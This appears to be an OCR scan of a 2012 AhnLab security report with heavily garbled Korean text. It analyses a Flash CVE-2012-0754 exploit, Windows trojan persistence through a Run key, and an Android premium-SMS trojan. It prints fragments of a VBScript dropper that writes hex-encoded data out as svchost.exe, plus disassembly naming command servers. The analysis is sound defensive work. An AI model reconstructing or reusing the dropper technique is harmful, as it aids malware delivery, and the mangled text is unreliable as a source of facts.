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4 - Trojan/Win32.Gen 476,930 9.1%
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7 v5 Trojan/Win32.hdc 372,184 7.1%
14,657,593 13.663.774 8 NEW VBS/Agent 184,235 3.5%
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EBOL MOW EAX, DWORD PTR_[ECX] AhnLab
A0 Cd GC i GOER T CEk 4 Cooooooo

e EA ofY LR =8t Fofst SalfA| of2 MIA=E mat
St HeapAlloc 221t F

=|OF
==0 A0, o=l U=

this MyVideo = new Wideo();

this. addChildithis MyWideo);
this . MyNC = new NetCommection();
connect {pull);

this MyNS = new NetStream(this. MyNC);

aeTletBerean (this TNE .
playi'hoep: /208, 76 tast mpd") ; I
} AhnlLab
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@1 O{=H| ZzHAl2| CVE-2012—-0754 FAFS = QlH CI2E=E miY

0| AJHEH xprO| SARES ChZat Z0| M-St

— C:¥WProgram FileswCommon FilesW{&131 A| mUH] exe(23,040HI0|E)

02 A2 HXIAEZ|0 ChEe| 7|5 MHsIo] AlAH HRE! Aloj= A
E|=E MASiC

— HKLMWSOFTWAREWMicrosoftwWindowsWCurrentVersionWRun'
common

= "C:¥#Program FileswCommon Files{Al3 A| It H] exe

= A =p=
@3 [12! 1-50]zt Zio| O|=20fl {IXISH EF MAHCR o H&Z 35
XA
Ch. HIAE SAloll= HEEIX| LUACE
T2 1-49) 2toXog RIS MP4 I
+ .data:0485018 ; char aDecuments mypi[]
.data:00405010 aDocuments_nypi db “documents. .info*,8 Ah Lab
.data:00s05010 ; DATA XREF: main:lac HG1Adulo
.data:00405010 ; _main:loc_soiaseto
*|.data: 86485629 align 16h
+ .data:0pso5030 ; char aFtp_documents []
.data:00L05030 aFtp_documents_ db "Fp.documents. .info',8 ; DATA XREF: _main+73Fto
*|.data: 868485 64D align 16h
* .data:ge4g5e58 ; char name[]
.data:0o4e5050 nane db “www_documents . .info’,0
.data: 004050508 ; DATA XREF: _main:loc_hBiAc2To
*|.data: 96485060 align 16h
* .data:0oue5070 ; char alse3ez[]
.data: 00405670 alls8302 db ‘usB362",8 ; DATA XREF: sub_hB2763:1oc_h028D2To
+ data:AENGSRIZ dh

T

049 T20| MBI BRI B0 wat kS| ofolxel 752 23
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— Win—Trojan/Yayih.4861440
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TEGFLOOKev (] ;
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dobal t',window) ;
dopial t! ,window) ;
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& Ab 12522 28 2 A AZE 220246 W AZ: 000445
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2IES HIAE}, FEQ 72 (HAOE sh= 2ajinola of

Mac un
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http: //www.ahnlab.com/kr/site/download/vacc/vaccView.do?seq=105

Sl FEESE ZES ofdistr| ¢

O =H| E2iA| E|0|0] HHIO|E 2HH : hitp: //asec.ahnlab.com/728
O = HOt HH|O|E Yo : hitp://asec.ahnlab.com/221

@ XHHt 22 AHH|0|E 2 : hittp://asec.ahnlab.com/758

(V3 MIZ=e| RITtH)

— Win—Trojan/Patched.64000.B (2012.02.26.00)

— Win—Trojan/Patcher. 135680 (2012.02.26.00)

— Win—=Trojan/Patcher.133632 (2012.02.27.00)
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20124 28 3 ASEC2 TIMIAOIM ~ElEl 2F=20|= oiE2]A(0]
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IR ACH, F2M HAZ H#I(5H AFEE mHAQ! about_habit.
htm(123,196H}0|E)2 LH0l| Z&5t AL

[£] [ 1878405 | AndroidManifest.xml Ah n La b
£ META-INF

[£] [ 1878411 ] CERT.RSA

[£] [ 1878412 ] CERTSF

[£] [ 1878413 ] MANIFEST MF
) assets

272400 1 aboyt bho png
@ [ 1878409 ] about_habit.htrm
L Lo o Lo [ gL TTTTLL Ty
@ [ 1878406 | classes.dex { Unknown )
I=d org

I apache
3 hitp

I3 entity

I3 mime
@ [ 91687 ] version.properties

I res
=) anim
@ [ 14218 ] cyclexml
[£] [ 325125 1 onoff_slide_in_right xm
@ [ 325126 ] onoff_slide_out_left xml
[£] [ 1878414 ] rotatexml
[£] [ 1245222 ] shakexml

0| about_habithtm2 HF=E0| HTML mHI0| OFL|H AX|2= H|FE
A Hlo|2l AFEER Chant 22 YEHO|CE

[32 1-61] 2t4A= Mg ¢
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HIZFH H0|E ASEE

<SCRIPT Language=VEBScript><!-—-
DropFileName = "svchost.exe” §
WriteData = "4D5SAS0000300000004000000FFFFO00USE UUUUUDUUU oodal

3CAFFO3DASD1ICO809C364A13000000002F88BDOFECFED1C0E8DIELIBDAEB422(
S6E64436C6FT36500000043726561746550726F63657373570000004765744(
53A3B444D4A3600400000324E003600003639433R0038004B003E46003E4 731
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000000 000000000t
Q00000 2800008001
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EADFACBOECO11FF7520024FE65B44D01EADFACBOECO11FFO01DB30A14827CE84!
1427B597A26224F6573617103122228734B79557362204E6D6C2D3D000C362!
Set F30 = CreateCbject ("Scripting.FileSystemCbject™)

DropPath = F50.Get5pecialFolder(2) & "\" & DropFileName

If FS50.FileExists (DropPath)=False Then

Set FileCbj = FS50.CreateTextFile (DropPath, True)
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stringbuilder.append(s4) .toString();
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Android—Trojan/SmsSendZ &&= ANI=F0= iR CHASH HAESO0| =XKsict. [ 1-66]12
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AR

E
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private static
private static

P al @ @ 2F11:03

Do you agree with the terms of the download To gain access to content, you must agree to the private static
fruitedv1.1.4 ? To continue the download, click terms presented below. Below is the text of the private static I
Install agreement between the service-offer and http:// private static :
depositmobi.com/ subscriber. private static I
1. To gain access to the Service http:/ private static I
depositmobi.com/ content to make payment by private static I
sending up to 3 SMS messages. private static £ e
2. Administration http://depositmobi.com/ private static Iir GVATEMALA !
assumes no liability for any direct or indirect private statle Il HORVATIA
damages resulting from use of the application, private static

private static
private static
private static
private static f
private static I
private static
private static
private static
private static f
private static I
private static f
private static I

including loss of profits and losses.

3. When you first start an application http://
depositmobi.com/ requested permission to
transfer the registration data on a server http://
depositmobi.com/ using short numbers.

Rates for the activation request for each of the
rooms can be found at the site http://www.
mobi911.ru/, in the Rates.

4. User has the right to refuse to transfer
registration data. In this case, the application
http://depositmobi.com/ remain unactivated.

5. Transfer of registration data is a one-time private static
procedu_re_4 ) _ private static f:

6. Administration http://depositmobi.com/ not private static fin
be liable for any attempts to re-launch the private static final

application and their subsequent activation. private static final

Install Rules Next
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OFNTE HXKISS 01 0I83 s LAl AHIAS SSaiof 22e

HS = ZX| SMSE &= AYTEE RESIH &

[22! 1-72] Z2|0| HS 77810] CHSt QHY
CTOMMOCTE CMC Ha HOMep 7781

KoHTeHT-npoBafgep MepBbiil ANBTEPHATMBHEIR 3A0

WVICTOUHMK: sSmswm.ru

CrpaHa Homep Onepartop Llena Banwta Tun sanpoca TapudhhuEauna
I PoccuA 7781 Boe onepatopsl (YCNOBHO BCE) 203 RUB SM3 Tapuip 3a 1 cmc

* BKMOYan BCce Hanoru.

KoutenT-NpoBadaep (Tonbkoe AnA POCCHRK) KOHTaKTHBIA TENEMOH WEB

+7 (495) 730-54-67 0o6.555

hitp:/hwww.alt1.ru

[32 1-71] S22l FiTst Zxl| Mu|A x|
R\

Home Accessibility Contact Us Check a Number Careers Register Login

s
PhonepayPlus

For the Public About PhonepayPlus News and Events ECEN Enter searcnterm B

(22! 1-73]2 2{Alote] Bt AlO|E0l|A Z2|o|
= 203F=2| &

S 77810 et 2HLHE 3|5t 2HHOIC. SMS o
Of Ut

[32! 1-73] O|SSAIAIE SMS 7= A

Aol ZHlzlH O & LREE =T AlEX0IA Mottt 43

Number Checker 0‘

Not sure about a number that's on
your bill? Check it out here...

Checkit! >

News & Updates

Watchdog fines £100,000 for
online 'squatting’ that misled
consumers

16/02/2012

Emergency procedure
investigation
07/02/2012

© View all updates

m Sign up for RSS feeds

We I co m e PhonepayPlus is the organisation that regulates phone-paid services in the UK

Know your
‘Twitter’
from your ‘Twtter’?

Read our top tips for
protecting yourself online.

DON'T RECOGNISE A NUMBER Have a complaint? (3)
ON YOUR PHONE BILL?
For Business For the Public

© Setting up a premium rate © What are premium rate
service numbers?

© Code of Practice and
guidance

© Premium rate advice videos

Q Premium rate number guide

O Register with us
© !fyoudon't recognise a

© Log into your account number

© ITPhonepayPius © How we deal with
investigates your service complaints

For Business:
Registration

Downloadable Regi

quides

How to register
(PDF 170 KB)

Py How to register your
clients
(PDF 368 KB)

How to register numbers
(PDF 456 KB}

Due Diligence
(PDF 346 KB)

© Registration FAQ's

OlS2| FriTet 2| MH|AE= ZHet HI0| tHE & JUite 222 &k &

m

2=I5toF SEXIZ

ZA|Z, T dAlof 27 Xjo|7h ot 2
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O MR} SAME SMS Ik

MTS 7781 17220 28
TELEZ 7781 173.00 28
UTEL 7781 15254 BE
Akos 7781 14880 2 &
BaikalWestCom 7781 17288 RE
A 7781 144,07 £ 5
Yenisey E*'Eﬂi 7781 145.00 22
MegaFon - 2 7781 150.00 2 E.
MegaFon—EﬁiHI— 7781 15000 28
HZHEE-22 7781 150.00 2E
HIHE - S5 BN X 7781 150.00 28
HNE-T2 Y~E 7781 150.00 28
HIHE - At 2I0F 7781 15000 28
MegaFon - Urals 7781 150.00 2 &
HZHE - 4H 7781 150.00 2 E
SHE0| 7781 17373 RE
MTS - 2A3H} 7781 1722028
MTS - 2=0ILHR 7781 1722028
MTS - MR &7+ 7781 17220 28
MTS -MP A& Y AE 7781 17220 28
MTS-MR S -2l 7781 17220 2 &
MTS - MR AIHI2|2F 7781 17220 28
MTS - MR 28 7781 17220 28
MTS - Z2 MP 7781 17220 28
MTS - ReCom 7781 1722028
STC 7781 145.00 2 &
Orenburg GSM 7781 17373 RE.
2o - Ok~ERket 7781 200,00 28
Hel - E20d2E GEM 7781 14000 2 E
2ol -0iHt =2 7781 150.00 2 &
2| - HA 7781 14407 22
B - A2 7781 14407 28
22| - Shupashkar 7781 175.00 28
Stekl 7781 145.00 28
Ulyanovsk GSM 7781 169.49 —E.—‘S
= R == 7781 14407 2

EF 2 (skylink) 7781 155.00 2

(22 1-73]ollM2t Z0] SAIAE 71240] QHLiE|0f Tt Bt20] 125E 3
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J2|7 sy HE 2 SMSE Udsh=s 2f=E20|= HE MIE & HiZsiH Xz ST 0152 F8t
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[ 1-80] A=1}E| Qt=Z0|= Of3d
Android Market

£ Hosuwi ron I TOn20

@ Wrpa &% Npouee

WhatsApp Messenger
Get WhatsApp Messenger and say goodbye to SMSWhatsApp Messenger is a smartphone messenger __

Facebook for Android
OcTaBadTecs Ha CBA3N C ApY C T Facebook anA Android. Facebook ans Andr...

Yar Facebook — Gonee GICTPEIA c0coD o0MeHa coobLueHHAMK. YaT Facebook — 3To Gonee OLICTDLI Co...

Facebook Messenger

Tiny Flashlight + LED

HEBEPOATHD NPOCTOR, HO OYEHE NDNE3HOE NPUNOXEHUE « DOHaPUK»DOHAPIK ANA Balero annaparal Hese

Barcode Scanner
Scan barcodes on products then look up prices and reviews. You can also scan Data Matrix an...

Skype

BecnnatHan cer3b mexay aboHeHTamn Skype U Hu3KMe Tapudkl Ha 3E0HKWN HA TenedoHBecnnaTHan cea. ..

Street View on Google Maps
MpocmoTp ynKu B Kaptax Google — yNuLbl FOPOA0B MHpa COBCTBEHHLIMKM rMa3zami. HosuHkal MNaHopama y.-

TV SPIELFILM
Das Fernsehprogramm von iber 100 Sendemn kompaki und schnell im UberblickiMit der TV SPIELF .
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745t Dennis Richie2t KernighanO| £ 2K (The C Programming)0ilAl XS S5 = T#o0|Ct

F2 INLAE0| XMz 2SS AEE M /0Lt 2fo|Ea2q2], He SO0| EHlsHA| SEfeh=X| &l

Sk7| 2lsh 2 ARSsh= ofld| ==3240|ct.

— Hello World And2.1
§ 2= 2 OR

4

Hello World
SKAR LAGUILL =3
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Arrls Hello World
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— Hello World
NAS ZHOIEZ2I 2 O2
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Hej verden
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1)

Hello World
L [l [oE )

@
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Hello Worlld And2.1 Hello World And2 1

Hello World This is only a test application for try the Android Market

Test Program to test the Market place

Second Program

Simpel hej verden (Hello World). Dette program er kun til intern test. Fra Pixcom

For testing only
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